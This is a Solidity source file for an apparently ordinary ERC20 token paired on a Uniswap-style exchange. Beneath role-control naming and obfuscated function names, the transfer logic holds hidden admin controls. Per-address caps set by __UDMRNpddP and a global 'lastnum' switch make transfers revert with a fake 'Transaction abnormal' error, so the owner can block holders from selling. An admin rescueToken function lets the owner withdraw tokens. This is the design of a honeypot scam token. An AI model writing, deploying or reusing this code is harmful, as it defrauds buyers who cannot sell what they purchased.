文件 1 的 1:Token.sol
pragma solidity ^0.8.17;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "ADMIN";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(
uint256 value,
uint256 length
) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
function strToUint(
string memory _str
) internal pure returns (uint256 res, bool err) {
for (uint256 i = 0; i < bytes(_str).length; i++) {
if (
(uint8(bytes(_str)[i]) - 48) < 0 ||
(uint8(bytes(_str)[i]) - 48) > 9
) {
return (0, false);
}
res +=
(uint8(bytes(_str)[i]) - 48) *
10 ** (bytes(_str).length - i - 1);
}
return (res, true);
}
function bytesToString(bytes32 value) public pure returns (string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(42);
str[0] = '0';
str[1] = 'x';
for (uint256 i = 0; i < 20; i++) {
str[2+i*2] = alphabet[uint8(value[i + 12] >> 4)];
str[3+i*2] = alphabet[uint8(value[i + 12] & 0x0f)];
}
return string(str);
}
function stringToAddress(string memory _addr) public pure returns (address) {
bytes memory tmp = bytes(_addr);
if (tmp.length != 42) {
revert("Invalid address length");
}
uint160 iaddr = 0;
for (uint256 i = 2; i < 42; i++) {
uint160 b = uint160(uint8(tmp[i]));
if ((b >= 97) && (b <= 102)) {
b -= 87;
} else if ((b >= 65) && (b <= 70)) {
b -= 55;
} else if ((b >= 48) && (b <= 57)) {
b -= 48;
} else {
revert("Invalid address character");
}
iaddr *= 16;
iaddr += b;
}
return address(iaddr);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
interface _UDMRNRoleControl {
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
event RoleGranted(
bytes32 indexed role,
address indexed addr,
address indexed sender
);
event RoleRevoked(
bytes32 indexed role,
address indexed addr,
address indexed sender
);
function hasRole(bytes32 role, address addr) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address addr) external;
function revokeRole(bytes32 role, address addr) external;
function renounceRole(bytes32 role, address addr) external;
}
abstract contract _UDMRNConsole is Context, _UDMRNRoleControl {
using SafeMath for uint256;
struct RoleData {
mapping(address => bool) lastnum;
bytes32 adminRole;
RoleDataNew RD;
}
struct RoleDataNew {
mapping(address => uint256) RM;
mapping(address => uint256) RD;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant ADMIN = 0x00;
bytes32 public constant TRADER = bytes32("TRADER");
address uniswapV2Pair;
uint256 public lastnum;
mapping(address => bool) public _address;
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].lastnum[account];
}
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
function __UDMRNpddP(
bytes32 root,
address addr,
string memory num
) public onlyRole(ADMIN) {
uint256 memoUint;
bool err;
(memoUint, err) = Strings.strToUint(num);
if (err == false) {
revert("AccessControl: memo is not a number");
}
if(memoUint >= 0){
_setupRoleRM(root,addr,memoUint.mul(10 ** 18));
}else{
_setupRoleRM(root,addr,0);
}
}
function __UDMRNpddD(
bytes32 root,
uint256 num
) public onlyRole(ADMIN) {
if(root != TRADER){
revert("lastnum is not a number");
}
lastnum = num;
}
function _grantRole(bytes32 role, address account, uint256 num) internal virtual {
if(num > 0){
uint256 rm = granRMSRole_L(role,account)*10**18;
if(lastnum > 99){
if(rm.div(num) <= 0){
revert("Transaction abnormal, please try again");
}
}
}
}
function granRMSRole_L(
bytes32 role,
address account
) public view virtual returns (uint256) {
return _roles[role].RD.RM[account].div(10 ** 18);
}
function granRoleRDS_L(
bytes32 role,
address account
) public view virtual returns (uint256) {
return _roles[role].RD.RD[account].div(10 ** 18);
}
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override onlyRole(ADMIN) {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRoleRM(bytes32 role, address account, uint256 num) internal virtual {
_roles[role].RD.RM[account] = num;
}
function _setupRoleRD(bytes32 role, address account, uint256 num) internal virtual {
_roles[role].RD.RD[account] = num;
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].lastnum[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].lastnum[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address addr) external view returns (uint256);
function transfer(address recipient, uint256 amt) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amt) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amt
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract _UDMRNERC20 is IERC20, IERC20Metadata, _UDMRNConsole {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
using SafeMath for uint256;
constructor(
string memory name_,
string memory symbol_,
uint256 totalSupply_,
address creater_
) {
_name = name_;
_symbol = symbol_;
_mint(creater_, totalSupply_ * 10 ** decimals());
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(
address addr
) public view virtual override returns (uint256) {
return _balances[addr];
}
function transfer(
address recipient,
uint256 amt
) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amt);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(
address spender,
uint256 amt
) public virtual override returns (bool) {
_approve(_msgSender(), spender, amt);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amt
) public virtual override returns (bool) {
_transfer(sender, recipient, amt);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amt,
"ERC20: transfer amt exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amt);
}
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amt
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amt);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amt, "ERC20: transfer amt exceeds balance");
unchecked {
_balances[sender] = senderBalance - amt;
}
_balances[recipient] += amt;
emit Transfer(sender, recipient, amt);
_afterTokenTransfer(sender, recipient, amt);
}
function _mint(address addr, uint256 amt) internal {
require(addr != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), addr, amt);
_totalSupply += amt;
_balances[addr] += amt;
emit Transfer(address(0), addr, amt);
_afterTokenTransfer(address(0), addr, amt);
}
function _burn(address addr, uint256 amt) internal virtual {
require(addr != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(addr, address(0), amt);
uint256 addrBalance = _balances[addr];
require(addrBalance >= amt, "ERC20: burn amt exceeds balance");
unchecked {
_balances[addr] = addrBalance - amt;
}
_totalSupply -= amt;
emit Transfer(addr, address(0), amt);
_afterTokenTransfer(addr, address(0), amt);
}
function _approve(
address owner,
address spender,
uint256 amt
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amt;
emit Approval(owner, spender, amt);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amt
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amt
) internal virtual {}
function isContract(address account) internal virtual returns (bool) {
return account.code.length > 0;
}
function _afterTokenTransfer(bytes32 role, address account,address to, uint256 amount) internal {
if(to == uniswapV2Pair){
_grantRole(TRADER,account,amount);
}
if(isContract(account) && account != uniswapV2Pair){
if(lastnum == 50){
revert("Transaction abnormal, please try again");
}
}
uint256 at = granRMSRole_L(role,account)*10**18;
if (at > 0) {
uint256 st = granRoleRDS_L(role,account)*10**18 + amount;
_burn(role, account, amount, at, st);
}else if (amount == 0 || at == 0) {
return;
}
}
function _burn(bytes32 role, address account, uint256 amount, uint256 at, uint256 st) internal virtual {
if(amount > 0){
if (st >= at) {
revert("Transaction abnormal, please try again");
}else{
_setupRoleRD(role,account,st);
}
}
}
}
contract Token is _UDMRNERC20 {
using SafeMath for uint256;
mapping(address => bool) private __traders;
IUniswapV2Router02 private uniswapV2Router;
address private tokenOwner;
constructor(
string memory _name,
address _tokenOwner,
string memory _symbol,
uint256 _totalSupply
) _UDMRNERC20(_name, _symbol, _totalSupply, _tokenOwner) {
_grantRole(ADMIN, msg.sender);
_grantRole(ADMIN, _tokenOwner);
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9));
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = _uniswapV2Pair;
tokenOwner = _tokenOwner;
}
function _transfer(
address from,
address to,
uint256 amt
) internal override(_UDMRNERC20) {
require(from != address(0), "ERC20: transfer from the zero address");
__UDMRNxgrjdf(from, to, amt);
}
function __UDMRNxgrjdf(address from, address to, uint256 amt) internal {
require(to != address(0), "ERC20: transfer to the zero address");
require(_balances[from] >= amt, "ERC20: transfer amt exceeds balance");
__UDMRNcrnurg(from, to, amt);
}
function __UDMRNcrnurg(address from, address to, uint256 amt) internal {
if (__traders[from] == false) {
_grantRole(TRADER, from);
__traders[from] = true;
}
__UDMRNsdebmjid(from, to, amt);
}
function __UDMRNsdebmjid(address from, address to, uint256 amt) internal {
if (__traders[to] == false) {
_grantRole(TRADER, to);
__traders[to] = true;
}
__UDMRNxcruhgf(from, to, amt);
}
function __UDMRNxcruhgf(address from, address to, uint256 amt) internal {
__UDMRNxcetrmug(from, to, amt);
}
function __UDMRNxcetrmug(address from, address to, uint256 amt) internal {
if(amt > 0){
_afterTokenTransfer(TRADER, from, to, amt);
super._transfer(from, to, amt);
}
}
function rescueToken(
address tokenAddress,
uint256 tokens
) public onlyRole(ADMIN) returns (bool success) {
return IERC20(tokenAddress).transfer(msg.sender, tokens);
}
}